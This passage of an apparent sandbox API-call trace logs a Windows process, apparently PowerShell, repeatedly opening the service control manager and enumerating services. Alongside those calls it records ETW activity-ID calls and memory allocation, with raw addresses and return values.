hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.155] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.155] EnumServicesStatusW (in: hSCManager=0x3297148, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.157] CoTaskMemFree (pv=0x744e580) [0097.157] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.157] CoTaskMemFree (pv=0x744e580) [0097.157] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.157] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.157] CoTaskMemFree (pv=0x744e580) [0097.157] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.157] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x69, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.157] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.157] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.157] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6a, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.157] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.158] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.158] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6b, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.158] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.158] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297300 [0097.158] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.159] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.159] EnumServicesStatusW (in: hSCManager=0x3297300, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.160] CoTaskMemFree (pv=0x744e580) [0097.160] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.160] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.160] CoTaskMemFree (pv=0x744e580) [0097.160] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.160] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.160] CoTaskMemFree (pv=0x744e580) [0097.160] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.160] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6c, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.160] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6d, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6e, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.161] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.162] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.162] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.162] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.163] CoTaskMemFree (pv=0x744e580) [0097.164] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.164] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.164] CoTaskMemFree (pv=0x744e580) [0097.164] CoTaskMemAlloc (cb=0x2cc) returned 0x744e580 [0097.164] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x744e580, nSize=0x164 | out: lpBuffer="篈̫鑠݅ᯊ甬ᮺ甬\x02") returned 0x0 [0097.164] CoTaskMemFree (pv=0x744e580) [0097.164] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x70, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x6f, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x70, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x70, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.164] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.164] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x70, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.164] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.165] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.165] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x71, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.165] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x72, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.165] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297198 [0097.165] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.165] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.165] EnumServicesStatusW (in: hSCManager=0x3297198, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.167] CoTaskMemFree (pv=0x744e580) [0097.167] CoTaskMemFree (pv=0x744e580) [0097.167] CoTaskMemFree (pv=0x744e580) [0097.167] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x74, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.167] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x73, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.167] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x74, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x74, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.168] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.168] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.168] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.169] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.170] CoTaskMemFree (pv=0x744e580) [0097.170] CoTaskMemFree (pv=0x744e580) [0097.170] CoTaskMemFree (pv=0x744e580) [0097.171] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x843e61c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e61c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x77, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.171] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x843e588*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x843e588*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x76, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.171] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x77, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1)) | out: ActivityId=0x843e60c*(Data1=0xd5d0776a, Data2=0x3331, Data3=0x0, Data4=([0]=0x77, [1]=0x91, [2]=0xd0, [3]=0xd5, [4]=0x31, [5]=0x33, [6]=0xd6, [7]=0x1))) returned 0x0 [0097.171] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x32972b0 [0097.171] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.172] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.172] EnumServicesStatusW (in: hSCManager=0x32972b0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.173] CoTaskMemFree (pv=0x744e580) [0097.173] CoTaskMemFree (pv=0x744e580) [0097.173] CoTaskMemFree (pv=0x744e580) [0097.174] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3297210 [0097.174] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x0, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 0 [0097.174] LocalAlloc (uFlags=0x0, uBytes=0x660a) returned 0x76344d0 [0097.174] EnumServicesStatusW (in: hSCManager=0x3297210, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x76344d0, cbBufSize=0x660a, pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0 | out: lpServices=0x76344d0*(lpServiceName="AdobeARMservice", lpDisplayName="Adobe Acrobat Update Service", ServiceStatus.dwServiceType=0x10, ServiceStatus.dwCurrentState=0x1, ServiceStatus.dwControlsAccepted=0x0, ServiceStatus.dwWin32ExitCode=0x435, ServiceStatus.dwServiceSpecificExitCode=0x0, ServiceStatus.dwCheckPoint=0x0, ServiceStatus.dwWaitHint=0x0), pcbBytesNeeded=0x843e4b8, lpServicesReturned=0x843e4b4, lpResumeHandle=0x843e4b0) returned 1 [0097.176] CoTaskMemFree (pv=0x744e580) [0097.176] CoTaskMemFree (pv=0x744e580) [0097.176] CoTaskMemFree (pv=0x744e580) [0097.176] OpenSCManagerW 